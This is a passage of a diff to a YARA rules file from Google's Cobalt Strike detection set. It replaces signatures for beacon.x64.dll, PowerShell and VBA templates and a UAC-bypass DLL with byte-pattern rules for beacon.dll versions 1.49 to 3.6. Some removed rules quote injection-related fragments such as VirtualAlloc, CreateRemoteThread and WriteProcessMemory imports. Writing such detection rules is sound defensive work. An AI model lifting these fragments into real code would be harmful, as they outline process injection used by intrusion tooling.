"dd4e445572cd5e32d7e9cc121e8de337e6f19ff07547e3f2c6b7fce7eafd15e4" + logic_hash = "3f789eaf334c9bb3236d2834f38156aa92b22a5b674450977086378d195dd216" score = 75 quality = 85 tags = "" - rs2 = "815f313e0835e7fdf4a6d93f2774cf642012fd21ce870c48ff489555012e0047" strings: - $version_sig = { 48 83 EC 20 41 8B D8 48 8B FA 83 F9 2D 0F 87 B2 03 00 00 - 0F 84 90 03 00 00 83 F9 17 0F 87 F8 01 00 00 - 0F 84 DC 01 00 00 83 F9 0E 0F 87 F9 00 00 00 - 0F 84 DD 00 00 00 FF C9 0F 84 C0 00 00 00 83 E9 02 - 0F 84 A6 00 00 00 FF C9 } - $decoder = { - 80 34 28 ?? - 48 FF C0 - 48 3D 00 10 00 00 - 7C F1 - } + $version_sig = { 48 57 8B F1 8B DA 83 F8 17 77 12 FF 24 } + $decode = { B1 ?? 30 88 [4] 40 3D A8 01 00 00 7C F2 } condition: all of them } -rule GCTI_Cobaltstrike_Resources_Beacon_X64_V3_12 +rule GCTI_Cobaltstrike_Resources_Beacon_Dll_V1_49 { meta: - description = "Cobalt Strike's sleeve/beacon.x64.dll Versions 3.12" + description = "Cobalt Strike's resources/beacon.dll Version 1.49" author = "gssincla@google.com" - id = "6eeae9f4-96e0-5a98-a8dc-779c916cd968" + id = "871e28c9-b580-5a32-8529-2290ded1a1b6" date = "2022-11-18" modified = "2023-12-04" reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse" - source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Beacon_Dll_All_Versions_MemEnabled.yara#L1368-L1404" + source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Beacon_Dll_All_Versions_MemEnabled.yara#L180-L211" license_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/LICENSE" - hash = "8a28b7a7e32ace2c52c582d0076939d4f10f41f4e5fa82551e7cc8bdbcd77ebc" - logic_hash = "7457b20f2a7dc7e8c3317cedbcfccae30ecc8dc164188c0321f9485fdfab0f6e" + hash = "52b4bd87e21ee0cbaaa0fc007fd3f894c5fc2c4bae5cbc2a37188de3c2c465fe" + logic_hash = "935232d5ddccdc0401b4d911cdc73a48305347b495219c8c893615fe918f32f1" score = 75 quality = 85 tags = "" strings: - $version_sig = { 8B D3 48 8B CF E8 F8 2E 00 00 EB 16 8B D3 48 8B CF - E8 00 5C 00 00 EB 0A 8B D3 48 8B CF E8 64 4F 00 00 } - $decoder = { 80 34 28 ?? 48 FF C0 48 3D 00 10 00 00 7C F1 } + $version_sig = { 48 56 83 F8 1E 0F 87 23 01 00 00 FF 24 } + $decoder = { B1 ?? 90 30 88 [4] 40 3D A8 01 00 00 7C F2 } condition: all of them } -rule GCTI_Cobaltstrike_Resources_Beacon_X64_V3_13 +rule GCTI_Cobaltstrike_Resources_Beacon_Dll_V2_0_49 { meta: - description = "Cobalt Strike's sleeve/beacon.x64.dll Versions 3.13" + description = "Cobalt Strike's resources/beacon.dll Version 2.0.49" author = "gssincla@google.com" - id = "202eb8ea-7afb-515b-9306-67514abf5e55" + id = "087c584a-5ceb-536a-8842-53fbd668df54" date = "2022-11-18" modified = "2023-12-04" reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse" - source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Beacon_Dll_All_Versions_MemEnabled.yara#L1407-L1440" + source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Beacon_Dll_All_Versions_MemEnabled.yara#L213-L243" license_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/LICENSE" - hash = "945e10dcd57ba23763481981c6035e0d0427f1d3ba71e75decd94b93f050538e" - logic_hash = "81571a6c30802430d0df9980e005736d58464bde98c0889b48bf8d0c7e88d247" + hash = "ed08c1a21906e313f619adaa0a6e5eb8120cddd17d0084a30ada306f2aca3a4e" + logic_hash = "3616579dabcfd0ba413d17b4fbd0da5313b9beca94f7bf8e41f05d6679b4a215" score = 75 quality = 85 tags = "" strings: - $version_sig = { 48 8D 0D 01 5B FF FF 48 83 C4 28 E9 A8 54 FF FF 8B D0 - 49 8B CA E8 22 55 FF FF } - $decoder = { 80 34 28 ?? 48 FF C0 48 3D 00 10 00 00 7C F1 } + $version_sig = { 83 F8 22 0F 87 96 01 00 00 FF 24 } + $decoder = { B1 ?? EB 03 8D 49 00 30 88 [4] 40 3D 30 05 00 00 72 F2 } condition: all of them } -rule GCTI_Cobaltstrike_Resources_Beacon_X64_V3_14 +rule GCTI_Cobaltstrike_Resources_Beacon_Dll_V2_1_And_V2_2 { meta: - description = "Cobalt Strike's sleeve/beacon.x64.dll Versions 3.14" + description = "Cobalt Strike's resources/beacon.dll Versions 2.1 and 2.2" author = "gssincla@google.com" - id = "d69171e3-86f4-5187-8874-5eee2045f746" + id = "384fb247-aae7-52e1-a45d-6bda0f80a04e" date = "2022-11-18" modified = "2023-12-04" reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse" - source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Beacon_Dll_All_Versions_MemEnabled.yara#L1442-L1477" + source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Beacon_Dll_All_Versions_MemEnabled.yara#L245-L276" license_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/LICENSE" - hash = "297a8658aaa4a76599a7b79cb0da5b8aa573dd26c9e2c8f071e591200cf30c93" - logic_hash = "87cf465154d4294eeda9cf99c6c160da80cfa8a65244bc083737c0c87163431d" + hash = "ae7a1d12e98b8c9090abe19bcaddbde8db7b119c73f7b40e76cdebb2610afdc2" + logic_hash = "eee3702d6fde08b8e9f5533f903fa33fb3da808a3b76ca43e4d5029f9ce91ad0" score = 75 quality = 85 tags = "" - rs2 = "39b9040e3dcd1421a36e02df78fe031cbdd2fb1a9083260b8aedea7c2bc406bf" strings: - $version_sig = { 8B D0 49 8B CA 48 83 C4 28 E9 B1 1F 00 00 8B D0 49 8B CA - 48 83 C4 28 } - $decoder = { 80 34 28 ?? 48 FF C0 48 3D 00 10 00 00 7C F1 } + $version_sig = { 49 56 57 83 F9 24 0F 87 8A 01 00 00 FF 24 } + $decoder = { 80 B0 [4] ?? 40 3D 10 06 00 00 72 F1 } condition: all of them } -rule GCTI_Cobaltstrike_Sleeve_Beacon_Dll_X86_V4_0_Suspected +rule GCTI_Cobaltstrike_Resources_Beacon_Dll_V2_3 { meta: - description = "Cobalt Strike's sleeve/beacon.x64.dll Versions 4.0 (suspected, not confirmed)" + description = "Cobalt Strike's resources/beacon.dll Versions 2.3" author = "gssincla@google.com" - id = "28a735c4-87d1-5e14-9379-46a6fd0cdd2a" + id = "aed092f1-fbb1-5efe-be8d-fb7c5aba1cde" date = "2022-11-18" modified = "2023-12-04" reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse" - source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Beacon_Dll_All_Versions_MemEnabled.yara#L1480-L1515" + source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Beacon_Dll_All_Versions_MemEnabled.yara#L278-L308" license_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/LICENSE" - hash = "55aa2b534fcedc92bb3da54827d0daaa23ece0f02a10eb08f5b5247caaa63a73" - logic_hash = "0dbf6a75dc74f4c2a7604072a01e2dbaaee15f5e57c765f24138d85c248fb305" + hash = "00dd982cb9b37f6effb1a5a057b6571e533aac5e9e9ee39a399bb3637775ff83" + logic_hash = "286d7ffa83634b82160788abaf1c5b319a09c4a1243af2401799f327be76ad75" score = 75 quality = 85 tags = "" strings: - $version_sig = { 41 B8 01 00 00 00 8B D0 49 8B CA 48 83 C4 28 E9 D1 B3 FF FF - 8B D0 49 8B CA 48 83 C4 28 E9 AF F5 FF FF 45 33 C0 - 4C 8D 0D 8D 70 FF FF 8B D0 49 8B CA E8 9B B0 FF FF } - $decoder = { 80 34 28 ?? 48 FF C0 48 3D 00 10 00 00 7C F1 } + $version_sig = { 49 56 57 83 F9 26 0F 87 A9 01 00 00 FF 24 } + $decoder = { 80 B0 [4] ?? 40 3D 10 06 00 00 72 F1 } condition: all of them } -rule GCTI_Cobaltstrike_Sleeve_Beacon_X64_V4_1_And_V_4_2 +rule GCTI_Cobaltstrike_Resources_Beacon_Dll_V2_4 { meta: - description = "Cobalt Strike's sleeve/beacon.x64.dll Versions 4.1 and 4.2" + description = "Cobalt Strike's resources/beacon.dll Versions 2.4" author = "gssincla@google.com" - id = "dc320d17-98fc-5df3-ba05-4d134129317e" + id = "347a6b06-84a8-53ff-80a1-05fa1a48a412" date = "2022-11-18" modified = "2023-12-04" reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse" - source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Beacon_Dll_All_Versions_MemEnabled.yara#L1517-L1553" + source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Beacon_Dll_All_Versions_MemEnabled.yara#L310-L340" license_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/LICENSE" - hash = "29ec171300e8d2dad2e1ca2b77912caf0d5f9d1b633a81bb6534acb20a1574b2" - logic_hash = "9b262ec18f79ab5ae63ad26d3685af088b5feb2d66de6ad3ba584cafbe2ee221" + hash = "78c6f3f2b80e6140c4038e9c2bcd523a1b205d27187e37dc039ede4cf560beed" + logic_hash = "087ec6f585e90b84c00e746beb37cb8365cb7b4d07ebd0c48e3ba3d5df94dba2" score = 75 quality = 85 tags = "" strings: - $version_sig = { 83 F9 34 0F 87 8E 03 00 00 0F 84 7A 03 00 00 83 F9 1C 0F 87 E6 01 00 00 - 0F 84 D7 01 00 00 83 F9 0E 0F 87 E9 00 00 00 0F 84 CE 00 00 00 FF C9 - 0F 84 B8 00 00 00 83 E9 02 0F 84 9F 00 00 00 FF C9 } - $decoder = { 80 34 28 ?? 48 FF C0 48 3D 00 10 00 00 7C F1 } + $version_sig = { 4A 56 57 83 FA 2F 0F 87 F9 01 00 00 FF 24 } + $decoder = { 80 B0 [4] ?? 40 3D 10 06 00 00 72 F1 } condition: all of them } -rule GCTI_Cobaltstrike_Sleeve_Beacon_X64_V4_3 +rule GCTI_Cobaltstrike_Resources_Beacon_Dll_V2_5 { meta: - description = "Cobalt Strike's sleeve/beacon.x64.dll Version 4.3" + description = "Cobalt Strike's resources/beacon.dll Versions 2.5" author = "gssincla@google.com" - id = "572616c7-d1ec-5aa1-b142-4f2edf73737f" + id = "a89f9239-099c-5b97-b1df-e8ce2b95ea52" date = "2022-11-18" modified = "2023-12-04" reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse" - source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Beacon_Dll_All_Versions_MemEnabled.yara#L1555-L1590" + source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Beacon_Dll_All_Versions_MemEnabled.yara#L342-L372" license_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/LICENSE" - hash = "3ac9c3525caa29981775bddec43d686c0e855271f23731c376ba48761c27fa3d" - logic_hash = "0c8934e997583339145749a3167ac010d8c77b2ed878d2c999de68ec2a98101d" + hash = "d99693e3e521f42d19824955bef0cefb79b3a9dbf30f0d832180577674ee2b58" + logic_hash = "f2d0ca1414a60bf855543d99777ae5e83c451db41aba5e255e4c10b1e0bb7b47" score = 75 quality = 85 tags = "" strings: - $version_sig = { 8B D0 49 8B CA 48 83 C4 28 E9 D3 88 FF FF - 4C 8D 05 84 6E FF FF 8B D0 49 8B CA 48 83 C4 28 } - $decoder = { 80 34 28 ?? 48 FF C0 48 3D 00 10 00 00 7C F1 } + $version_sig = { 48 57 8B F2 83 F8 3A 0F 87 6E 02 00 00 FF 24 } + $decoder = { 80 B0 [4] ?? 40 3D 10 06 00 00 72 F1 } condition: all of them } -rule GCTI_Cobaltstrike_Sleeve_Beacon_X64_V4_4_V_4_5_And_V4_6 +rule GCTI_Cobaltstrike_Resources_Beacon_Dll_V3_0 { meta: - description = "Cobalt Strike's sleeve/beacon.x64.dll Versions 4.4 through at least 4.6" + description = "Cobalt Strike's resources/beacon.dll Versions 3.0" author = "gssincla@google.com" - id = "79b6bfd4-1e45-5bd9-ac5c-19eb176ce698" + id = "132a1be8-f529-5141-ba03-fdf6df3d55d4" date = "2022-11-18" modified = "2023-12-04" reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse" - source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Beacon_Dll_All_Versions_MemEnabled.yara#L1593-L1628" + source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Beacon_Dll_All_Versions_MemEnabled.yara#L374-L404" license_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/LICENSE" - hash = "3280fec57b7ca94fd2bdb5a4ea1c7e648f565ac077152c5a81469030ccf6ab44" - logic_hash = "be0bbf58a176f8089924b3ce58268d906f49dde51d863524971e46f4bada43a3" + hash = "30251f22df7f1be8bc75390a2f208b7514647835f07593f25e470342fd2e3f52" + logic_hash = "951f1b52c14010261022f9f920d53d3c1e88f41461798a23e72083c981f9de76" score = 75 quality = 85 tags = "" strings: - $version_sig = { 8B D0 49 8B CA 48 83 C4 28 E9 83 88 FF FF - 4C 8D 05 A4 6D FF FF 8B D0 49 8B CA 48 83 C4 28 } - $decoder = { 80 34 28 ?? 48 FF C0 48 3D 00 10 00 00 7C F1 } + $version_sig = { 48 57 8B F2 83 F8 3C 0F 87 89 02 00 00 FF 24 } + $decoder = { 80 B0 [4] ?? 40 3D 10 06 00 00 72 F1 } condition: all of them } -rule GCTI_Cobaltstrike_Sleeve_Beacon_X64_V4_5_Variant +rule GCTI_Cobaltstrike_Resources_Beacon_Dll_V3_1 { meta: - description = "Cobalt Strike's sleeve/beacon.x64.dll Versions 4.5 (variant)" + description = "Cobalt Strike's resources/beacon.dll Versions 3.1" author = "gssincla@google.com" - id = "45715da9-8f16-5304-b216-1ca36c508c77" + id = "aa511dee-69ea-53bd-be90-d2d03d08c550" date = "2022-11-18" modified = "2023-12-04" reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse" - source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Beacon_Dll_All_Versions_MemEnabled.yara#L1630-L1665" + source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Beacon_Dll_All_Versions_MemEnabled.yara#L406-L461" license_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/LICENSE" - hash = "8f0da7a45945b630cd0dfb5661036e365dcdccd085bc6cff2abeec6f4c9f1035" - logic_hash = "31a108168489a24d1bc297d722741f3fd19abd1bed4c76d54967c73986d18123" + hash = "4de723e784ef4e1633bbbd65e7665adcfb03dd75505b2f17d358d5a40b7f35cf" + logic_hash = "2d91add3aefe69b4525f93f7ea9f2fcbd7a6c506a224997ff73a2eeef63a8cd4" score = 75 quality = 85 tags = "" strings: - $version_sig = { 41 B8 01 00 00 00 8B D0 49 8B CA 48 83 C4 28 E9 E8 AB FF FF - 8B D0 49 8B CA E8 1A EB FF FF 48 83 C4 28 } - $decoder = { 80 34 28 ?? 48 FF C0 48 3D 00 10 00 00 7C F1 } + $version_sig = { 55 8B EC 83 EC 58 A1 [4] 33 C5 89 45 FC E8 DF F5 FF FF 6A 50 8D 45 A8 50 FF 15 [4] 8D 45 ?? 50 FF 15 [4] 85 C0 74 14 8B 40 0C 83 38 00 74 0C 8B 00 FF 30 FF 15 [4] EB 05 B8 [4] 8B 4D FC 33 CD E8 82 B7 00 00 C9 } + $decoder = { 80 B0 [4] ?? 40 3D 10 06 00 00 72 F1 } condition: all of them } -rule GCTI_Cobaltstrike_Resources_Template__X32_X64_Ps1_V1_45_To_V2_5_And_V3_11_To_V3_14 +rule GCTI_Cobaltstrike_Resources_Beacon_Dll_V3_2 { meta: - description = "Cobalt Strike's resources/template.x64.ps1, resources/template.x32 from v3.11 to v3.14 and resources/template.ps1 from v1.45 to v2.5 " + description = "Cobalt Strike's resources/beacon.dll Versions 3.2" author = "gssincla@google.com" - id = "c9fa6a39-0098-5dde-9762-94bc6b2df299" + id = "3ccbc0f2-241c-5c10-8930-4a3d264d3b57" date = "2022-11-18" - modified = "2022-11-19" + modified = "2023-12-04" reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse" - source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Template__x32_x64_Ps1_v1_45_to_v2_5_and_v3_11_to_v3_14.yara#L17-L43" + source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Beacon_Dll_All_Versions_MemEnabled.yara#L463-L528" license_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/LICENSE" - hash = "ff743027a6bcc0fee02107236c1f5c96362eeb91f3a5a2e520a85294741ded87" - logic_hash = "5196f111f257239d2e7e4ca342e7fc8bac1687743bc8c7ff23addf1f094b2e93" + hash = "b490eeb95d150530b8e155da5d7ef778543836a03cb5c27767f1ae4265449a8d" + logic_hash = "e1fe0d58d86ad8c845d65608314007ce08e3e524fb92cdb33ddae860c640e3e9" score = 75 quality = 85 tags = "" + rs2 = "a93647c373f16d61c38ba6382901f468247f12ba8cbe56663abb2a11ff2a5144" strings: - $importVA = "[DllImport(\"kernel32.dll\")] public static extern IntPtr VirtualAlloc" nocase - $importCT = "[DllImport(\"kernel32.dll\")] public static extern IntPtr CreateThread" nocase - $importWFSO = "[DllImport(\"kernel32.dll\")] public static extern int WaitForSingleObject" nocase - $compiler = "New-Object Microsoft.CSharp.CSharpCodeProvider" nocase - $params = "New-Object System.CodeDom.Compiler.CompilerParameters" nocase - $paramsSys32 = ".ReferencedAssemblies.AddRange(@(\"System.dll\", [PsObject].Assembly.Location))" nocase - $paramsGIM = ".GenerateInMemory = $True" nocase - $result = "$compiler.CompileAssemblyFromSource($params, $assembly)" nocase + $version_sig = { 48 57 8B F2 83 F8 3D 0F 87 83 02 00 00 FF 24 } + $decoder = { 80 B0 [4] ?? 40 3D 10 06 00 00 72 F1 } + $version3_1_sig = { 55 8B EC 83 EC 58 A1 [4] 33 C5 89 45 FC E8 DF F5 FF FF 6A 50 8D 45 A8 50 FF 15 [4] 8D 45 ?? 50 FF 15 [4] 85 C0 74 14 8B 40 0C 83 38 00 74 0C 8B 00 FF 30 FF 15 [4] EB 05 B8 [4] 8B 4D FC 33 CD E8 82 B7 00 00 C9 } condition: - all of them + $version_sig and $decoder and not $version3_1_sig } -rule GCTI_Cobaltstrike_Resources_Template_X86_Vba_V3_8_To_V4_X +rule GCTI_Cobaltstrike_Resources_Beacon_Dll_V3_3 { meta: - description = "Cobalt Strike's resources/template.x86.vba signature for versions v3.8 to v4.x" + description = "Cobalt Strike's resources/beacon.dll Versions 3.3" author = "gssincla@google.com" - id = "11c7758e-93b2-5fe3-873d-b98de579d2b4" + id = "7cce26c9-1403-535f-bd9d-19667c7e313c" date = "2022-11-18" - modified = "2022-11-19" + modified = "2023-12-04" reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse" - source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Template_x86_Vba_v3_8_to_v4_x.yara#L17-L37" + source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Beacon_Dll_All_Versions_MemEnabled.yara#L530-L560" license_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/LICENSE" - hash = "fc66cb120e7bc9209882620f5df7fdf45394c44ca71701a8662210cf3a40e142" - logic_hash = "7114515477d82651806eccef34f599f6ffd4614f987dee29417ac6ef7a1a1c38" + hash = "158dba14099f847816e2fc22f254c60e09ac999b6c6e2ba6f90c6dd6d937bc42" + logic_hash = "f9b9b669aacc156a4e07eab0c6a638f9b9d828e018d1db89e9e2c922641744ac" score = 75 quality = 85 tags = "" strings: - $createstuff = "Function CreateStuff Lib \"kernel32\" Alias \"CreateRemoteThread\"" nocase - $allocstuff = "Function AllocStuff Lib \"kernel32\" Alias \"VirtualAllocEx\"" nocase - $writestuff = "Function WriteStuff Lib \"kernel32\" Alias \"WriteProcessMemory\"" nocase - $runstuff = "Function RunStuff Lib \"kernel32\" Alias \"CreateProcessA\"" nocase - $vars = "Dim rwxpage As Long" nocase - $res = "RunStuff(sNull, sProc, ByVal 0&, ByVal 0&, ByVal 1&, ByVal 4&, ByVal 0&, sNull, sInfo, pInfo)" - $rwxpage = "AllocStuff(pInfo.hProcess, 0, UBound(myArray), &H1000, &H40)" + $version_sig = { 48 57 8B F1 83 F8 41 0F 87 F0 02 00 00 FF 24 } + $decoder = { 80 B0 [4] ?? 40 3D 10 06 00 00 72 F1 } condition: - all of them and @vars [ 1 ] < @res [ 1 ] and @allocstuff [ 1 ] < @rwxpage [ 1 ] + all of them } -rule GCTI_Cobaltstrike_Resources_Bypassuactoken_X64_Dll_V3_11_To_V3_14 +rule GCTI_Cobaltstrike_Resources_Beacon_Dll_V3_4 { meta: - description = "Cobalt Strike's resources/bypassuactoken.x64.dll from v3.11 to v3.14 (64-bit version)" + description = "Cobalt Strike's resources/beacon.dll Versions 3.4" author = "gssincla@google.com" - id = "c89befcd-a622-5947-9ce3-a6031901a45a" + id = "58a34ab6-c061-59a2-b929-8519d3d844e7" date = "2022-11-18" - modified = "2022-11-19" + modified = "2023-12-04" reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse" - source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Bypassuactoken_x64_Dll_v3_11_to_v3_14.yara#L17-L118" + source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Beacon_Dll_All_Versions_MemEnabled.yara#L562-L592" license_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/LICENSE" - hash = "853068822bbc6b1305b2a9780cf1034f5d9d7127001351a6917f9dbb42f30d67" - logic_hash = "adfd212f2e470f666ab8a2168e976c11d3032c31dab7cf56963dae5fc0f6c5f9" + hash = "5c40bfa04a957d68a095dd33431df883e3a075f5b7dea3e0be9834ce6d92daa3" + logic_hash = "f3372bc538092e30c62d9599f76f2115dc73faf7a5fd6f86c8d4cfaa35473810" score = 75 quality = 85 tags = "" strings: - $isHighIntegrityProcess = { - 83 ?? 7A - 75 ?? - 8B [3] - 33 ?? - FF 15 [4] - 44 [4] - 8D [2] - 48 8B ?? - 48 8D [3] - 48 8B ?? - 4C 8B ?? - 48 89 [3] - FF 15 [4] - 85 C0 - 74 ?? - 48 8B ?? - FF 15 [4] - 8D [2] - 8A ?? - 40 [2] - 0F B6 D1 - 48 8B 0F - FF 15 [4] - 81 ?? 00 30 00 00 - } - $executeTaskmgr = { - 44 8D ?? 70 - 48 8D [3] - E8 [4] - 83 [3] 00 - 48 8D [5] - 0F 57 ?? - 66 0F 7F [3] - 48 89 [3] - 48 8D [5] - 48 8D [3] - C7 [3] 70 00 00 00 - C7 [3] 40 00 00 00 - 48 89 [3] - FF 15 - } + $version_sig = { 48 57 8B F1 83 F8 42 0F 87 F0 02 00 00 FF 24 } + $decoder = { 80 B0 [4] ?? 40 3D 00 10 00 00 7C F1 } condition: all of them } -rule GCTI_Cobaltstrike_Resources_Template_Sct_V3_3_To_V4_X +rule GCTI_Cobaltstrike_Resources_Beacon_Dll_V3_5_Hf1_And_3_5_1 { meta: - description = "Cobalt Strike's resources/template.sct signature for versions v3.3 to v4.x" + description = "Cobalt Strike's resources/beacon.dll Versions 3.5-hf1 and 3.5.1 (3.5.x)" author = "gssincla@google.com" - id = "9d2b1dfa-5f76-503f-9198-6ed0d039e0cb" + id = "1532596e-be0e-58c2-8d3b-5120c793d677" date = "2022-11-18" - modified = "2022-11-19" + modified = "2023-12-04" reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse" - source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Template_Sct_v3_3_to_v4_x.yara#L17-L38" + source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Beacon_Dll_All_Versions_MemEnabled.yara#L594-L625" license_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/LICENSE" - hash = "fc66cb120e7bc9209882620f5df7fdf45394c44ca71701a8662210cf3a40e142" - logic_hash = "8868445ced4945c469764b7f311d6cb11c99cf0f2d770113e5e617e0187a962c" + hash = "c78e70cd74f4acda7d1d0bd85854ccacec79983565425e98c16a9871f1950525" + logic_hash = "c2e975678815638803b04261d46bca216bc0b2f894a1f72fd0d5b949493401d1" score = 75 quality = 85 tags = "" strings: - $scriptletstart = "<scriptlet>" nocase - $registration = "<registration progid=" nocase - $classid = "classid=" nocase - $scriptlang = "<script language=\"vbscript\">" nocase - $cdata = "<![CDATA[" - $scriptend = "</script>" nocase - $antiregistration = "</registration>" nocase - $scriptletend = "</scriptlet>" + $version_sig = { 48 57 8B F1 83 F8 43 0F 87 07 03 00 00 FF 24 } + $decoder = { 80 B0 [4] ?? 40 3D 00 10 00 00 7C F1 } condition: - all of them and @scriptletstart [ 1 ] < @registration [ 1 ] and @registration [ 1 ] < @classid [ 1 ] and @classid [ 1 ] < @scriptlang [ 1 ] and @scriptlang [ 1 ] < @cdata [ 1 ] + all of them } -rule GCTI_Cobaltstrike_Resources_Browserpivot_X64_Bin_V1_48_To_V3_14_And_Sleeve_Browserpivot_X64_Dll_V4_0_To_V4_X +rule GCTI_Cobaltstrike_Resources_Beacon_Dll_V3_6 { meta: - description = "Cobalt Strike's resources/browserpivot.x64.bin from v1.48 to v3.14 and sleeve/browserpivot.x64.dll from v4.0 to at least v4.4" + description = "Cobalt Strike's resources/beacon.dll Versions 3.6" author = "gssincla@google.com" - id = "a5dfae85-ff9c-5ca5-9ac0-041c6108a6ed" + id = "7e7b5c22-82b3-5298-b794-b06d94a668d5" date = "2022-11-18" - modified = "2022-11-19" + modified = "2023-12-04" reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse" - source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Browserpivot_x64_Bin_v1_48_to_v3_14_and_Sleeve_Browserpivot_x64_Dll_v4_0_to_v4_x.yara#L17-L64" + source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Beacon_Dll_All_Versions_MemEnabled.yara#L627-L657" license_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/LICENSE" - hash = "0ad32bc4fbf3189e897805cec0acd68326d9c6f714c543bafb9bc40f7ac63f55" - logic_hash = "a59f19b6e258b724ed88b4255717d066319ba5fb0838d6c6ed11355e9d9b1c22" + hash = "495a744d0a0b5f08479c53739d08bfbd1f3b9818d8a9cbc75e71fcda6c30207d" + logic_hash = "3bd3f0b8625e131726fa92d68de041dae6c3d5642cbf22ac596d1d82da1d4a07" score = 75 quality = 85 tags = "" strings: - 